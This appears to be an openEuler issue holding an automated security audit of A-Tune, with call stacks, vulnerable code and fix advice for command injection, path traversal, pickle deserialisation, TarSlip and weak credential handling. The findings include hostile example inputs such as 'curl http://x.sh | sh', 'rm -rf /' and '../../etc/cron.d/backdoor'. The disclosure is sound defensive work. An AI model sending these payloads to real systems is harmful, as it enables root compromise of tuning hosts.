以下的要求不是强制性的, 未按模板评论时对issue无任何影响
issue处理注意事项:
1. 当前issue受影响的分支提交pr时, 须在pr描述中填写当前issue编号进行关联, 否则无法关闭当前issue;
2. 模板内容需要填写完整, 无论是受影响或者不受影响都需要填写完整内容,未引入的分支不需要填写, 否则无法关闭当前issue;
3. 以下为模板中需要填写完整的内容, 请复制到评论区回复, 注: 内容的标题名称(影响性分析说明, 缺陷严重等级, 受影响版本排查(受影响/不受影响), 修复是否涉及abi变化(是/否))不能省略,省略后defect-manager将无法正常解析填写内容.
评论区可能使用到的指令说明:
| 指令 | 指令说明 | 使用权限 |
|---|---|---|
| /check-issue | 触发defect-manager校验 | 不限 |
| /reason xxx | /reason +挂起或取消条件 | 不限 |
影响性分析说明:
缺陷严重等级:(Critical/High/Moderate/Low)
缺陷根因说明:
受影响版本排查(受影响/不受影响):
- openEuler-20.03-LTS-SP4:
- openEuler-22.03-LTS-SP4:
- openEuler-24.03-LTS-SP1:
- openEuler-24.03-LTS-SP3:
- openEuler-24.03-LTS-SP4:
abi变化(是/否):
- openEuler-20.03-LTS-SP4:
- openEuler-22.03-LTS-SP4:
- openEuler-24.03-LTS-SP1:
- openEuler-24.03-LTS-SP3:
- openEuler-24.03-LTS-SP4:
缺陷issue处理具体操作请参考:
https://atomgit.com/openeuler/cve-manager/blob/master/cve-vulner-manager/doc/md/defect-manager-manual.md
pr关联issue具体操作请参考:
https://docs.atomgit.com/docs/help/home/org_project/pullrequests/pr-related-issue


Welcome To openEuler Community
Hey @yangna1310 , thanks for your contribution to the community.
Bot Usage Manual
I'm the Bot here serving you. You can find the instructions on how to interact with me at Here . That means you can comment below every pull request or issue to trigger Bot Commands. You can self-configure the PR merge rules for this repository. For more details, please refer to Here.
Contact Guide
If you have any questions, please contact the SIG: A-Tune ,
and any of the maintainers: @Vchanger, @chendh1, @hubin1305, @znzju ,


【缺陷描述】:请补充详细的缺陷问题现象描述
A-Tune代码安全扫描问题
一、缺陷信息
发现 33 个问题(🔴 致命 5 · 🟡 重要 12 · 🟢 建议 11 · ⚠️ 疑似 5)
其中 5 个 🔴 致命问题:
gRPC Tuning SyncConfig/GetInitialConfig 命令注入(modules/server/profile/profile.go:760,766 + common/tuning/optimizer.go:782,800 + common/project/project.go:476,489)允许 gRPC 客户端通过 TuningMessage.Content 任意 sh -c 执行,无本地地址检查,TCP + TLS 关闭配置下构成远程 root RCE;
Generate 路径穿越写 YAML(modules/server/profile/profile.go:1631)允许客户端通过 ProfileInfo.Name 跨目录写 .yaml 文件,结合 CheckServerPrj 自动加载机制可注入恶意调优脚本;
Classification REST 反序列化 RCE(analysis/engine/classification.py:57 + analysis/optimizer/workload_characterization.py:333-338)通过 model 参数控制 joblib.load 路径,加载任意 pickle → Python 任意代码执行;
Transfer REST TarSlip 任意文件写(analysis/engine/utils/utils.py:48)tar.extractall 未校验成员路径,上传 tar 可写任意文件。
🔴 [致命] modules/server/profile/profile.go:760-766 + common/tuning/optimizer.go:782,800 + common/project/project.go:476,489 — gRPC Tuning 接口命令注入导致 root 任意命令执行
CWE: CWE-78(操作系统命令注入)/ CWE-74(注入) 规则: R02-注入(命令注入) 描述: ProfileServer.Tuning 是 gRPC 服务端流式接口,在 case PB.TuningMessage_SyncConfig 与 case PB.TuningMessage_GetInitialConfig 分支中直接将客户端发来的 reply.GetContent() 赋值给 optimizer.Content,随后调用 optimizer.SyncTunedNode(ch) 或 optimizer.GetNodeInitialConfig(ch)。
SyncTunedNode(optimizer.go:768-789)将 o.Content 反序列化为 []string(JSON 字符串数组),逐项调用 project.ExecCommand(command);
GetNodeInitialConfig(optimizer.go:794-812)将 o.Content 直接作为单个脚本字符串调用 project.ExecGetOutput(command);
ExecCommand(project.go:474-486)与 ExecGetOutput(project.go:488-492)均调用 exec.Command("sh", "-c", script),把字符串原样交给 sh -c 解释执行。
Tuning 接口没有任何本地地址检查(对比 Define/Delete/Update/Collection/Training/UpgradeProfile 都调用了 SVC.CheckRpcIsLocalAddr),也没有任何字符白名单校验 Content,因此:
当 TransProtocol == "tcp" 且 GrpcTLS == false(见 cmd/atuned/atuned.go:191-203,opts 仅在 GrpcTLS=true 时才注入 mTLS 凭据),任何能访问 gRPC 端口的攻击者可直接发送 TuningMessage_SyncConfig,Content = ["rm -rf /"] 或 Content = ["curl http://x.sh | sh"],atuned 守护进程以 root 身份执行;
即使 GrpcTLS=true,任何持有合法客户端证书的节点(在集群同步场景 syncConfigToOthers 中,主节点会把脚本以 TuningMessage_SyncConfig 推送到从节点,从节点同样无校验执行)也能向从节点注入命令;
默认 unix socket 配置下,0600 socket 权限将访问限制为 root 或 atuned 用户,但所有能访问该 socket 的本地进程(包括 atune-adm CLI、其他管理脚本、被攻破的本地服务)都能触发任意 root 命令执行。
影响: 远程/本地 root RCE;集群场景下从节点同样受影响;可读取 /etc/shadow、写 /etc/cron.d/、植入持久化后门、横向移动。 CVSS: 9.8(Critical,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)— TCP + TLS 关闭配置下;unix socket 默认配置下为 7.8(High,AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) 数据来源: gRPC 客户端发送的 TuningMessage.Content(用户/攻击者完全可控) 风险传播路径: gRPC 客户端 → ProfileServer.Tuning → optimizer.Content = reply.GetContent() → SyncTunedNode/GetNodeInitialConfig → project.ExecCommand/ExecGetOutput → exec.Command("sh","-c",script) → root shell
调用栈
ProfileServer.Tuning() [modules/server/profile/profile.go:706]
├─ case PB.TuningMessage_SyncConfig: [profile.go:760]
│ optimizer.Content = reply.GetContent() [profile.go:761]
│ -> Optimizer.SyncTunedNode(ch) [common/tuning/optimizer.go:768]
│ json.Unmarshal(o.Content, &commands) [optimizer.go:776]
│ for _, command := range commands { [optimizer.go:779]
│ project.ExecCommand(command) [optimizer.go:782]
│ -> exec.Command("sh", "-c", script) [common/project/project.go:476] // 注入点
│ }
└─ case PB.TuningMessage_GetInitialConfig: [profile.go:766]
optimizer.Content = reply.GetContent() [profile.go:767]
-> Optimizer.GetNodeInitialConfig(ch) [common/tuning/optimizer.go:794]
command := string(o.Content) [optimizer.go:798]
project.ExecGetOutput(command) [optimizer.go:800]
-> exec.Command("sh", "-c", script) [common/project/project.go:489] // 注入点
集群同步入口(从节点视角):Optimizer.syncConfigToOthers(optimizer.go:822-898)把 scripts JSON 序列化后通过 TuningMessage_SyncConfig 发送给 config.Connect 中的从节点 IP,从节点 Tuning 接收后即上述流程执行。
问题代码
// 文件: modules/server/profile/profile.go:760-770
case PB.TuningMessage_SyncConfig:
optimizer.Content = reply.GetContent() // 客户端可控
err = optimizer.SyncTunedNode(ch)
if err != nil {
return err
}
case PB.TuningMessage_GetInitialConfig:
optimizer.Content = reply.GetContent() // 客户端可控
err = optimizer.GetNodeInitialConfig(ch)
if err != nil {
return err
}
// 文件: common/tuning/optimizer.go:768-789
func (o *Optimizer) SyncTunedNode(ch chan *PB.TuningMessage) error {
log.Infof("setting params is: %s", string(o.Content))
var commands []string
err := json.Unmarshal([]byte(string(o.Content)), &commands) // 直接反序列化客户端 JSON
if err != nil {
fmt.Errorf("invalid setting params! err: %v", err)
return err
}
for _, command := range commands {
log.Infof("execute setting command: %s", string(command))
if command == "no operation" {
continue
}
_, err := project.ExecCommand(command) // <-- 未校验即执行
if err != nil {
return fmt.Errorf("failed to exec %s, err: %v", command, err)
}
}
...
}
// 文件: common/project/project.go:474-486
func ExecCommand(script string) ([]byte, error) {
var buf bytes.Buffer
cmd := exec.Command("sh", "-c", script) // <-- shell 注入点
cmd.Stdout = &buf
cmd.Stderr = &buf
err := cmd.Start()
...
}
调用链分析
层次 函数 文件:行号 角色
1 ProfileServer.Tuning modules/server/profile/profile.go:706 gRPC 流入口,无本地地址检查
2 (case) SyncConfig/GetInitialConfig profile.go:760,766 取 reply.Content 赋给 optimizer.Content,无校验
3 Optimizer.SyncTunedNode / GetNodeInitialConfig common/tuning/optimizer.go:768,794 反序列化为命令字符串
4 project.ExecCommand / ExecGetOutput common/project/project.go:474,488 拼装 sh -c 调用
5 exec.Command("sh","-c",script) project.go:476,489 root shell 执行注入命令
修复建议
强制 mTLS + 本地地址检查:对 Tuning 接口加 SVC.CheckRpcIsLocalAddr(ctx) 校验(与 Define 等保持一致),拒绝远程 TCP 客户端;并在 cmd/atuned/atuned.go 中强制 GrpcTLS=true,禁止无 TLS 的 TCP 监听。
白名单校验脚本:SyncTunedNode/GetNodeInitialConfig 在执行前必须验证 command 字符串是否匹配白名单(例如必须以预定义的 GetScript/SetScript 模板开头,参数仅允许 [A-Za-z0-9._= -]),禁止任何包含 ;、|、&、()、反引号、\n 的输入。 改用 exec.Command(name, args...) 直接调用:避免 sh -c,将脚本拆分为程序名 + 参数列表,从根本上消除 shell 元字符注入面。 审计日志:所有执行的命令应以 log.Warningf 记录到 syslog,便于事后取证。 // 修复示例:白名单 + 直接调用 var safeScriptRe = regexp.MustCompile(
^[/A-Za-z0-9._ -]+)func ExecCommand(script string) ([]byte, error) {
if !safeScriptRe.MatchString(script) || strings.ContainsAny(script, ";&|`$\n") {
return nil, fmt.Errorf("illegal script: %q", script)
}
// 优先用 exec.LookPath + 直接 argv,避免 sh -c
parts := strings.Fields(script)
if len(parts) == 0 {
return nil, fmt.Errorf("empty script")
}
cmd := exec.Command(parts[0], parts[1:]...)
...
}
🔴 [致命] modules/server/profile/profile.go:1631 — Generate 接口路径穿越写 YAML 文件
CWE: CWE-22(路径穿越)/ CWE-73(外部控制文件路径) 规则: R01-内存安全 / R02-输入校验(路径穿越) 描述: ProfileServer.Generate 接收 PB.ProfileInfo.Name 作为 projectName,完全未做字符校验,直接拼入 path.Join(config.DefaultTuningPath, fmt.Sprintf("%s.yaml", projectName)) 作为目标文件路径。由于 path.Join 会规范化 .. 段,攻击者可令 projectName = "../rules/x" 使 dstFile = /etc/atuned/rules/x.yaml,或 projectName = "../tuning_malicious" 写到 /etc/atuned/tuning_malicious.yaml,或 projectName = "../../etc/cron.d/backdoor" 写到 /etc/cron.d/backdoor.yaml。
更严重的是,写入内容来自 tuningFile.Save(dstFile),其内容是 tuningFile.PrjSrv.Object(YamlPrjSvr 结构)的 YAML 序列化结果——这些 Object 由规则引擎(grool)从 /etc/atuned/tuning/ 中已有 YAML 文件复制而来,包含 GetScript/SetScript 字段,而 CheckServerPrj(optimizer.go:602-654)会递归 filepath.Walk(config.DefaultTuningPath) 加载该目录及其子目录下所有 YAML,随后 RunSet 通过 project.ExecCommand 以 sh -c 执行 SetScript。
因此,若攻击者通过 Generate 在 /etc/atuned/tuning/subdir/(攻击者无法直接创建子目录,但若已存在子目录则可写)或 /etc/atuned/tuning/ 本身写入一个 projectName 合法但内容被精心选择(组合已有对象)的 YAML,下次 Tuning 调用即可能触发恶意 SetScript 执行。即使仅能写到 /etc/atuned/ 其他子目录(如 rules/),也可覆盖 tuning_rules.grl 规则文件,影响后续 Generate 与 Tuning 决策。
对比 Define(profile.go:1281-1300)对 serviceType/applicationName/scenarioName 同时使用 IsInputStringValid + [./] 黑名单双重校验,Generate 完全缺失校验,属明显疏漏。
影响: 攻击者可向任意路径写 .yaml 文件(root 身份),覆盖配置/规则文件;与 Tuning 命令注入链结合可达成 root RCE。 CVSS: 8.1(High,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)— TCP + TLS 关闭配置下;unix socket 默认配置下 6.2(Medium,AV:L/AC:L/PR:L) 数据来源: gRPC 客户端发送的 ProfileInfo.Name 风险传播路径: gRPC 客户端 → ProfileServer.Generate → projectName = message.GetName() → dstFile = path.Join(...) → tuningFile.Save(dstFile) → root 写文件
调用栈
ProfileServer.Generate() [modules/server/profile/profile.go:1588]
projectName := message.GetName() [profile.go:1617] // 未校验
...
dstFile := path.Join(config.DefaultTuningPath,
fmt.Sprintf("%s.yaml", projectName)) [profile.go:1631]
err = tuningFile.Save(dstFile) [profile.go:1637]
-> yaml.Marshal(t.PrjSrv) [common/tuning/tuning_rules.go:155]
-> utils.WriteFile(dstFile, data, 0600, O_WRONLY|O_CREATE|O_TRUNC) [tuning_rules.go:160]
-> os.OpenFile(dstFile, ..., 0600) [common/utils/utils.go:334] // 任意路径写入
后续利用链(写到 /etc/atuned/tuning/ 子目录后触发执行):
ProfileServer.Tuning() [profile.go:706]
case PB.TuningMessage_JobInit: [profile.go:815]
project := reply.GetName()
tuning.CheckServerPrj(project, &optimizer) [profile.go:837]
-> filepath.Walk(config.DefaultTuningPath, ...) [common/tuning/optimizer.go:610]
utils.ParseFile(path, "yaml", &prj) [optimizer.go:614] // 加载攻击者写入的 YAML
-> optimizer.Prj = prj
...
o.Prj.RunSet(o.RespPutIns.Param) [optimizer.go:361]
-> project.ExecCommand(newScript) [common/project/project.go:380] // 执行 SetScript
-> exec.Command("sh", "-c", script) [project.go:476]
🔴 [致命] analysis/engine/classification.py:57 + analysis/optimizer/workload_characterization.py:333-338 — Classification REST 不安全反序列化导致 Python 任意代码执行
CWE: CWE-502(不信任的反序列化) 规则: R03-加密与认证(反序列化)/ R02-注入 描述: Classification.post()(analysis/engine/classification.py:40-58)从请求中取 model = args.get(self.model, None),若 model 非空则调用 classification.reidentify(data, model)。WorkloadCharacterization.reidentify(workload_characterization.py:321-340)执行:
custom_path = os.path.abspath(custom_path) # 攻击者控制
scaler = joblib.load(os.path.join(dirname, scalername)) # pickle.load
encoder = joblib.load(os.path.join(dirname, encodername)) # pickle.load
model = joblib.load(custom_path) # pickle.load <-- 注入点
joblib.load 内部使用 pickle.load,pickle 反序列化可触发任意 reduce/init/setstate 等魔术方法 → 执行攻击者控制的 Python 字节码。攻击者只需:
通过 Transfer.post() REST 接口(analysis/engine/transfer.py:30-58)上传任意文件,落到 /etc/atuned/classification/ 或 /var/atune_data/analysis/(依赖 service 参数与目录校验,详见另一致命问题 TarSlip);
调用 Classification.post() 时传 model = "/var/atune_data/analysis/evil"(或任意攻击者可写路径),reidentify 即 joblib.load 该文件 → Python 进程权限(atune-engine 通常以 root 或 atune 用户运行)下任意代码执行。
即使不利用 Transfer 上传,攻击者只要能在文件系统任意路径放置一个 pickle 文件(结合其他路径穿越漏洞,如 Generate 写 YAML 也可写 .pkl 内容任意文件——但 Generate 强制 .yaml 后缀,需另寻路径),也能触发 RCE。
对比:identify()(model 为 None 时调用)从 self.model_path(系统模型目录 /usr/libexec/atuned/analysis/models,root-owned)加载预定义模型,一般可信;reidentify() 才是用户可控路径入口。
影响: 远程 Python 任意代码执行(engine 服务权限,通常 root),可读取 /etc/shadow、写持久化后门、横向移动至 atuned gRPC 接口触发更深 RCE。 CVSS: 9.1(Critical,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)— engine_tls=false 默认配置下;engine_tls=true 时 7.5(High,需 mTLS 客户端证书) 数据来源: REST 客户端发送的 model 字段 风险传播路径: REST 客户端 → Classification.post() → model = args.get("model") → AppCharacterization.reidentify(data, model) → joblib.load(custom_path) → pickle.reduce → Python 任意代码
调用栈
Classification.post() [analysis/engine/classification.py:40]
args = CLASSIFICATION_POST_PARSER.parse_args() [classification.py:42]
model = args.get(self.model, None) [classification.py:46]
classification = AppCharacterization(model_path) [classification.py:50]
if model is not None:
classification.reidentify(data, model) [classification.py:57]
-> WorkloadCharacterization.reidentify(self, data, custom_path=model)
[analysis/optimizer/workload_characterization.py:321]
custom_path = os.path.abspath(custom_path) [workload_characterization.py:326]
scaler = joblib.load(os.path.join(dirname, scalername)) [workload_characterization.py:333] // 副作用 RCE
encoder = joblib.load(os.path.join(dirname, encodername)) [workload_characterization.py:334] // 副作用 RCE
model = joblib.load(custom_path) [workload_characterization.py:335] // 主注入点
...
🔴 [致命] analysis/engine/utils/utils.py:48 + analysis/engine/transfer.py:56 — Transfer REST TarSlip 任意文件写入
CWE: CWE-22(路径穿越)/ CWE-29(路径穿越写文件) 规则: R01-内存安全 / R02-输入校验(路径穿越) 描述: Transfer.post()(analysis/engine/transfer.py:30-58)接收 multipart 上传的 tar 文件,对非 classification 服务调用 utils.extract_file(save_path, target_path)。extract_file(analysis/engine/utils/utils.py:44-51)执行:
tar = tarfile.open(file_path)
tar.extractall(path=target_path) # <-- 未校验成员名
tar.extractall 不会过滤成员路径中的 .. 段(CVE-2007-4559,TarSlip)。攻击者构造一个 tar 包,内含 ../../etc/cron.d/backdoor 等条目,extractall 会以 engine 服务权限(通常 root)将该条目解压到 /etc/cron.d/backdoor,达成任意文件写入 → 持久化后门 → root RCE。
虽然 Transfer.post() 有一个目录校验:dir_name, _ = os.path.split(os.path.abspath(save_path)); if not dir_name == target_path: return "illegal path...",但这只校验 save_path 的目录等于 target_path(注意 target_path = "/etc/atuned/{service}" 未做规范化),不影响 tar 内成员的路径。攻击者可令 service = "classification" 之外的有效服务名(如默认 service="tuning")并令 savepath = "/etc/atuned/tuning/evil.tar",通过校验后 extractall("/etc/atuned/tuning/") 解压含 ../../../etc/cron.d/x 的 tar,最终写到 /etc/cron.d/x。
影响: 任意文件写 → 写 /etc/cron.d/、/etc/ld.so.preload、/usr/lib/atuned/modules/evil.so(结合 plugin.Open 触发 RCE)等。 CVSS: 8.8(High,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)— engine_tls=false 配置下;engine_tls=true 时 6.5(Medium,需 mTLS 证书) 数据来源: REST 客户端上传的 tar 文件内容 风险传播路径: REST 客户端 → Transfer.post() → file_obj.save(save_path) → utils.extract_file → tar.extractall → 任意路径写入
调用栈
Transfer.post() [analysis/engine/transfer.py:30]
save_path = request.form.get("savepath") [transfer.py:39]
file_obj = request.files.get("file") [transfer.py:40]
service = request.form.get("service") [transfer.py:41]
target_path = self.file_path.format(service=service) [transfer.py:43]
dir_name, _ = os.path.split(os.path.abspath(save_path)) [transfer.py:45]
if not dir_name == target_path: return 400 [transfer.py:47] // 仅校验 save_path 目录
if service == "classification":
file_obj.save(file_name); return [transfer.py:52] // 另一路径
file_obj.save(save_path) [transfer.py:55]
res = utils.extract_file(save_path, target_path) [transfer.py:56]
-> tarfile.open(file_path) [analysis/engine/utils/utils.py:46]
-> tar.extractall(path=target_path) [utils.py:48] // TarSlip 注入点
os.remove(save_path) [transfer.py:57]
🔴 [致命] modules/server/profile/profile.go:760-766 + common/tuning/optimizer.go:782 — 集群同步场景下从节点 gRPC 命令执行
CWE: CWE-78(命令注入)/ CWE-923(不安全的集群间通信) 规则: R02-注入(命令注入)/ R03-加密与认证(集群认证缺失) 描述: 与第一项致命问题同根,但利用路径独立,单独列示以提示集群部署风险。Optimizer.syncConfigToOthers(common/tuning/optimizer.go:822-898)在主节点完成 RunSet 后,将 scripts JSON 序列化通过 client.NewClient(server, config.Port) + svc.Tuning(context.Background()) 推送给 config.Connect 配置的所有从节点 IP。从节点的 ProfileServer.Tuning 接收 TuningMessage_SyncConfig 后无任何校验执行(见第一项致命问题)。
集群间通信复用 config.Port 与 config.TLSServerCertFile,但:
若从节点 GrpcTLS=false,主节点客户端 client.newClient(common/client/client.go:155-170)在 envTls != "yes" 时使用 grpc.WithInsecure(),集群间为明文 + 无认证;
即使 GrpcTLS=true,主节点持有合法客户端证书,但主节点本身被攻破即等于所有从节点被攻破——从节点无独立校验脚本的能力;
config.Connect 中的 IP 列表若被篡改(通过 update_atuned_config.sh 或 atuned.cnf 写入),主节点会把命令推送到攻击者控制的"从节点"地址,反之攻击者也可作为伪主节点向合法从节点推送命令(无双向认证)。
syncConfigToNode(optimizer.go:901-932)将 scriptsJson 通过 stream.Send(content) 发送,从节点 SyncTunedNode 即执行。
影响: 集群横向移动 root RCE;从节点无防御能力;伪装主节点攻击。 CVSS: 8.3(High,AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)— 集群场景 数据来源: 主节点 Optimizer.Prj.RunSet 产出的脚本(受 Generate 路径穿越、Tuning InitConfig 等上游污染) 风险传播路径: 主节点 RunSet → syncConfigToOthers → client.NewClient(server, port) → svc.Tuning() → stream.Send(SyncConfig{Content: scriptsJson}) → 从节点 ProfileServer.Tuning → SyncTunedNode → ExecCommand → root shell
调用栈
主节点:
Optimizer.DynamicTuned() [common/tuning/optimizer.go:332]
err, scripts := o.Prj.RunSet(o.RespPutIns.Param) [optimizer.go:361]
err = o.syncConfigToOthers(scripts) [optimizer.go:367]
-> Optimizer.syncConfigToOthers(scripts) [common/tuning/optimizer.go:822]
for i, j: o.syncConfigToNode(ipGroups[i][j], newScripts) [optimizer.go:855]
-> client.NewClient(server, config.Port) [optimizer.go:911]
-> svc := PB.NewProfileMgrClient(c.Connection()) [optimizer.go:913]
-> stream, _ := svc.Tuning(context.Background()) [optimizer.go:915]
-> scriptsJson, _ := json.Marshal(scripts) [optimizer.go:928]
-> stream.Send(TuningMessage{SyncConfig, scriptsJson}) [optimizer.go:930]
从节点:
ProfileServer.Tuning() [modules/server/profile/profile.go:706]
case PB.TuningMessage_SyncConfig: [profile.go:760]
optimizer.Content = reply.GetContent() [profile.go:761]
-> Optimizer.SyncTunedNode(ch) [common/tuning/optimizer.go:768]
-> project.ExecCommand(command) [optimizer.go:782] // 注入点
🟡 [重要] analysis/engine/detect.py:49 — Detecting REST 路径穿越读任意 .csv 文件
CWE: CWE-22(路径穿越) 规则: R02-输入校验(路径穿越) 描述: Detecting.get()(analysis/engine/detect.py:36-58)从请求取 detect_path = args.get(self.detect_path),若非空则直接字符串拼接 detect_path = self.folder_path + detect_path + '.csv'(folder_path = "/var/atune_data/analysis/"),无任何路径规范化或 .. 过滤。攻击者传 detect_path = "../../etc/passwd\x00" 或 detect_path = "../config/atuned.cnf\x00" 等可令最终路径指向任意文件(受 .csv 后缀限制,但 \x00 截断在 Python open() 中可生效,或攻击者目标文件本身以 .csv 结尾)。
随后 detect.detection(detect_path, app_name)(analysis/optimizer/difference_detect.py)读取该文件并解析,可能泄露敏感 CSV 内容或触发解析异常。
影响: 任意 .csv 文件读取(受限);信息泄露。 CVSS: 5.3(Medium,AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) 数据来源: REST 客户端发送的 detectpath 字段 风险传播路径: REST 客户端 → Detecting.get() → detect_path = folder_path + user_input + '.csv' → detect.detection(detect_path, ...) → 任意 .csv 读取
调用栈
Detecting.get() [analysis/engine/detect.py:36]
args = DETECT_POST_PARSER.parse_args() [detect.py:42]
detect_path = args.get(self.detect_path) [detect.py:43]
if detect_path != "" and detect_path is not None:
detect_path = self.folder_path + detect_path + '.csv' [detect.py:49] // 注入点
...
result = detect.detection(detect_path, app_name) [detect.py:56] // 读取任意 .csv
🟡 [重要] analysis/ui/database/table_user_account.py:32 + analysis/ui/database/trigger_user.py:41 — Web UI 用户口令明文存储与比较
CWE: CWE-256(明文口令存储)/ CWE-312(敏感信息明文存储)/ CWE-916(口令哈希缺失) 规则: R03-加密与认证(口令管理)/ R06-隐私与数据 描述: UserAccount ORM 表定义 password = Column(VARCHAR(255), nullable=False)(table_user_account.py:32),insert_new_user(table_user_account.py:69-71)、update_password(table_user_account.py:76-78)、update_user(table_user_account.py:107)均直接以 pwd 原文写入数据库。trigger_user.user_exist(trigger_user.py:31-46)通过 password = user_account.get_field_by_key(UserAccount.password, UserAccount.email, email, session) 取出数据库中的明文口令,与用户提交的 pwd 直接 password == pwd 比较。
若数据库被泄露(SQL 注入、备份泄露、UI 主机被攻破),所有用户口令立即明文可读。Web UI 管理着多台 atune 服务器 IP/SSH 凭据(addNewIp 接口存储 serverPassword),口令泄露等于所有受管 atune 主机沦陷。
影响: 数据库泄露 → 所有 UI 用户口令泄露 → 攻击者登录 UI → 获取所有受管 atune 主机 SSH 凭据 → 横向移动 root。 CVSS: 7.5(High,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) 数据来源: UI 用户注册/登录时提交的 password 字段 风险传播路径: 用户注册 → create_user(email, pwd, name) → insert_new_user(uid, email, name, pwd) → 写入 user_account.password 明文;数据库泄露 → 攻击者读取明文口令 → 登录任意账户
调用栈
UiUser.post(cmd='signup') [analysis/ui/database/ui_user.py:97]
email, pwd, name = args.get(...) [ui_user.py:99-101]
trigger_user.create_user(email, pwd, name) [ui_user.py:104]
-> UserAccount.insert_new_user(uid, email, name, pwd, session)
[analysis/ui/database/table_user_account.py:69]
sql = insert(UserAccount).values(..., password=pwd, ...) [table_user_account.py:70] // 明文写入
UiUser.post(cmd='login') [analysis/ui/database/ui_user.py:75]
email, pwd = args.get('email'), args.get('password') [ui_user.py:76-77]
trigger_user.user_exist(email, pwd) [ui_user.py:79]
-> UserAccount.get_field_by_key(UserAccount.password, UserAccount.email, email, session)
[analysis/ui/database/trigger_user.py:36] // 取明文
-> if password is not None and password == pwd: [trigger_user.py:41] // 明文比较
🟡 [重要] analysis/ui/config.py:55 — Web UI 默认 JWT 密钥硬编码 'atune_ui'
CWE: CWE-798(硬编码凭据)/ CWE-321(弱密钥) 规则: R03-加密与认证(密钥管理) 描述: UiConfig.initial_params(analysis/ui/config.py:55)从配置文件读取 jwt_secret,默认值为字符串 'atune_ui':
UiConfig.jwt_secret = get_or_default(config, 'server', 'jwt_secret', 'atune_ui')
JwtUtil.encode(analysis/ui/util.py:30-35)与 JwtUtil.is_token_vaild(util.py:38-49)使用 HS256 算法与该 self.secret 签名/校验 token。若部署人员未修改 atuned.cnf 中的 jwt_secret(极常见情况——默认配置即可工作),攻击者可使用公开的默认密钥 'atune_ui' 自行伪造任意 user_id 的 JWT token,完全绕过 UI 登录鉴权。
/v1/UI/user/ 端点的 userVerify、ipList、deleteIp、getIpData 等操作仅依赖 Authorization: Bearer 头中的 JWT,伪造 token 后即可访问任意用户的数据,包括其名下 atune 服务器的 SSH 凭据。
影响: 默认部署下 UI 完全鉴权绕过 → 获取所有受管主机 SSH 凭据 → 横向移动 root。 CVSS: 9.1(Critical,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)— 默认配置下 数据来源: 硬编码默认值 'atune_ui' 风险传播路径: 攻击者用 'atune_ui' 签名 {user_id: 1, exp: ...} → 发送 Authorization: Bearer <forged_token> → JwtUtil.is_token_vaild 校验通过 → 以管理员身份操作 UI
调用栈
UiUser.get(cmd='userVerify') [analysis/ui/database/ui_user.py:48]
jwt = JwtUtil(UiConfig.jwt_secret) [ui_user.py:50] // 默认 'atune_ui'
token = request.headers.get("Authorization") [ui_user.py:51]
jwt.is_token_vaild(token, uid) [ui_user.py:52]
-> jwt.decode(jwt=token, key=self.secret, algorithms=['HS256'])
[analysis/ui/util.py:43] // 用默认密钥校验
🟡 [重要] analysis/ui/config.py:54 + analysis/atuned/config.py:80 + analysis/engine/config.py:34 — UI/atuned REST 默认无 TLS
CWE: CWE-319(明文传输敏感信息) 规则: R03-加密与认证(传输安全) 描述: 三个 Python 配置类均将 TLS 默认值设为 False:
UiConfig.ui_tls = get_or_default_bool(config, 'server', 'ui_tls', False)(analysis/ui/config.py:54)— UI 服务默认无 TLS;
AtunedConfig.rest_tls = get_or_default_bool(config, 'server', 'rest_tls', False)(analysis/atuned/config.py:80)— atuned REST 服务默认无 TLS;
EngineConfig.engine_tls = get_or_default_bool(config, 'server', 'engine_tls', False)(analysis/engine/config.py:34)— engine REST 服务默认无 TLS。
而 Go 端 common/config/config.go:191 RestTLS 默认 true,两端不一致。
UI 默认无 TLS 意味着 JWT token、用户口令、SSH 凭据(addNewIp/testConnect)、IP 列表等敏感数据均明文传输,中间人可窃取 token 并伪造身份。atuned/engine REST 默认无 TLS 同样暴露配置变更请求与模型文件传输。
影响: 中间人攻击 → 窃取 JWT/口令/SSH 凭据 → 完全接管 UI 与受管主机。 CVSS: 7.4(High,AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)— 默认配置下 数据来源: 默认配置值 风险传播路径: 客户端 → 明文 HTTP → 中间人窃取 JWT/口令 → 伪造身份访问 UI
调用栈
AppUI.startup_app() [analysis/app.py:53-62]
if tls: [app.py:56]
context = ssl.create_default_context(...)
self.app.run(host, port, ssl_context=context) [app.py:62] // tls=False 时 context=None,明文 HTTP
🟡 [重要] analysis/ui/util.py:73 — 服务器 SSH 口令用 base64 "加密"存储
CWE: CWE-327(弱加密)/ CWE-311(敏感信息缺失加密) 规则: R03-加密与认证(加密误用) 描述: decode_server_password(pwd)(analysis/ui/util.py:73-74)实现为:
def decode_server_password(pwd):
return base64.b64decode(pwd)
base64 是编码而非加密,任何人都能解码。UiUser.post(cmd='addNewIp'/'updateIp'/'testConnect')(ui_user.py:108-122)将用户提交的 serverPassword 字段(实际是 base64 编码的明文口令)传入 trigger_user.add_ip(... server_password ...) 或 verify_server_connectivity(...)。updateIp 调用 decode_server_password(args.get('serverPassword')) 后存入数据库;testConnect 解码后用于 SSH 连接。
数据库 ip_addrs 表中存储所有受管 atune 主机的 SSH 口令,所谓"加密"实为 base64 编码,数据库泄露即等于所有主机 SSH 凭据明文泄露。
影响: 数据库/备份泄露 → 所有受管 atune 主机 SSH root 口令明文泄露 → 横向移动 root。 CVSS: 7.5(High,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) 数据来源: UI 用户提交的 serverPassword 字段 风险传播路径: 用户输入 base64(明文口令) → decode_server_password → trigger_user.add_ip(..., server_password) → 数据库 ip_addrs.server_password 存储"加密"值(实为 base64) → 数据库泄露 → 攻击者 base64 解码 → 明文 SSH 口令
调用栈
UiUser.post(cmd='updateIp') [analysis/ui/database/ui_user.py:108]
server_password = decode_server_password(args.get('serverPassword'))
[ui_user.py:113] // base64 解码
trigger_user.update_ip(uid, ip_addrs, ip_port, server_user, server_password, description)
[ui_user.py:115]
-> IpAddrs.update_ip(... server_password ...) [analysis/ui/database/trigger_user.py]
-> 写入数据库 ip_addrs 表
